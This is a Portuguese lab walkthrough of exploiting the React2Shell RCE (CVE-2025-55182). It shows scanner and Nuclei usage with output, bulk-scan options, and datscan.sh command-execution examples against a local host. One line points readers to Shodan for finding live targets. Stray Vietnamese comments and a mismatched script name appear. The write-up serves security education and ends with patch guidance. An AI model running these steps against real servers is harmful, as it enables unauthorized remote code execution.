Simulação da exploração do React2Shell (CVE-2025-55182)

Nota:

• Este documento serve apenas para fins educacionais e de pesquisa em segurança.
• Não use para atacar sistemas sem autorização.

1. Visão geral

O CVE-2025-55182, também conhecido como React2Shell, é uma vulnerabilidade crítica de execução remota de código (RCE) que afeta o React Server Components (RSC). Ele usa o protocolo Flight para comunicação entre cliente e servidor. Quando o cliente solicita dados, o servidor recebe um payload e o analisa, o que pode permitir que um invasor insira estruturas maliciosas ou trechos de código arbitrários que o React aceita como válidos.

2. Causa

O servidor processa payloads do cliente sem validação adequada, permitindo que o atacante:

• Injete payloads maliciosos
• Execute código no servidor
• Seja explorado sem autenticação do usuário, pois é uma vulnerabilidade pré-autenticação.

A exploração ativa desta vulnerabilidade foi detectada desde 5 de dezembro de 2025. A maioria das explorações bem-sucedidas originou-se de avaliações de grupos de ataque. Ambos os ambientes Windows e Linux são afetados.

3. Experimentação

Instalação

pip install -r requirements.txt

Escanear um servidor vulnerável:

python3 scanner.py -u https://example.com

Insira o caminho a ser escaneado (aqui inseri minha máquina vulnerável: http://192.168.10.1:3000)

Resultado obtido:

╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

Além disso, você também pode escanear conforme o objetivo da sua exploração:

Escanear lista de servidores:

python3 scanner.py -l hosts.txt

Escanear com várias threads e salvar os resultados:

python3 scanner.py -l hosts.txt -t 20 -o results.json

Escanear com cabeçalhos personalizados:

python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Escanear alvos Windows:

python3 scanner.py -u https://example.com --windows

Usar o método de detecção de canal lateral seguro:

python3 scanner.py -u https://example.com --safe-check

Como você pode ver, estamos lidando com uma vulnerabilidade de segurança, o que significa que o servidor que disponibilizamos é facilmente atacado por um invasor.

Nuclei

Agora usaremos o Nuclei para verificar se o servidor acima possui alguma vulnerabilidade com PoC. Esse recurso funciona enviando solicitações personalizadas, reduzindo falsos positivos e suportando varredura paralela.

nuclei -t scan.yaml -u http://192.168.10.1:3000

Resultado alcançado

[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.

O sistema detectou que este servidor está vulnerável e pode ser explorado pela vulnerabilidade CVE-2025-55182. E a partir disso, você pode ver que é uma vulnerabilidade bastante perigosa e importante, com muitos PoCs já disponíveis nas plataformas sociais. ☺☺☺

4. Como explorar

Você pode ver que apenas essas informações já são suficientes para confirmar a vulnerabilidade de segurança existente no aplicativo acima. Para provar que este aplicativo pode ser explorado para executar um comando ou código remotamente, começarei o PoC.

chmod +x scanner.sh

Uso

# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com

# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"

# With full URL
./datscan.sh -d example.com -c "uname -a"

Significado:

Retorna o usuário atual que está executando o processo do servidor

Ajuda a identificar:

• sob qual usuário o aplicativo está sendo executado
• o nível de privilégio (baixo privilégio ou admin)

=> Este é o comando mais básico para confirmar o sucesso do RCE

Nota

• -d, --domain - domain/URL
• -c, --command - Comando a ser executado (ex.: whoami, hostname,...)

Exemplos

# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

IMAGEM ILUSTRATIVA APÓS A EXECUÇÃO

Esta é a etapa de reconhecimento inicial após a exploração bem-sucedida.

Ajuda a confirmar: RCE funcionando, identificar o sistema operacional,...

ATENÇÃO

Como estou demonstrando este experimento em um ambiente de laboratório pessoal para evitar problemas legais, o uso de cabeçalhos HTTP para roubo de dados, saídas grandes ou caracteres especiais pode causar:

• ERR_INVALID_CHAR
• Resposta reduzida
• Timeouts

Comandos curtos (por exemplo: whoami, ver) são mais confiáveis para ilustrar no ambiente de teste acima.

Se não quiser, você pode usar o Shodan para verificar endereços IP diretamente no ambiente real e fazer como no meu experimento acima para explorar (não recomendado).

Como observado acima. Esta ferramenta é destinada apenas a fins educacionais e testes de segurança autorizados. Não use esta ferramenta para testar sistemas que você não possui ou não tem permissão para testar.

5. Algumas formas de corrigir a vulnerabilidade

• Não confie em dados do cliente
• Valide rigorosamente a entrada
• Atualize as versões
  • React: >= 19.0.1 / 19.1.2 / 19.2.1
  • Next.js: >= 15.0.5 / 16.0.7

6. Referências adicionais

• CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
• CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/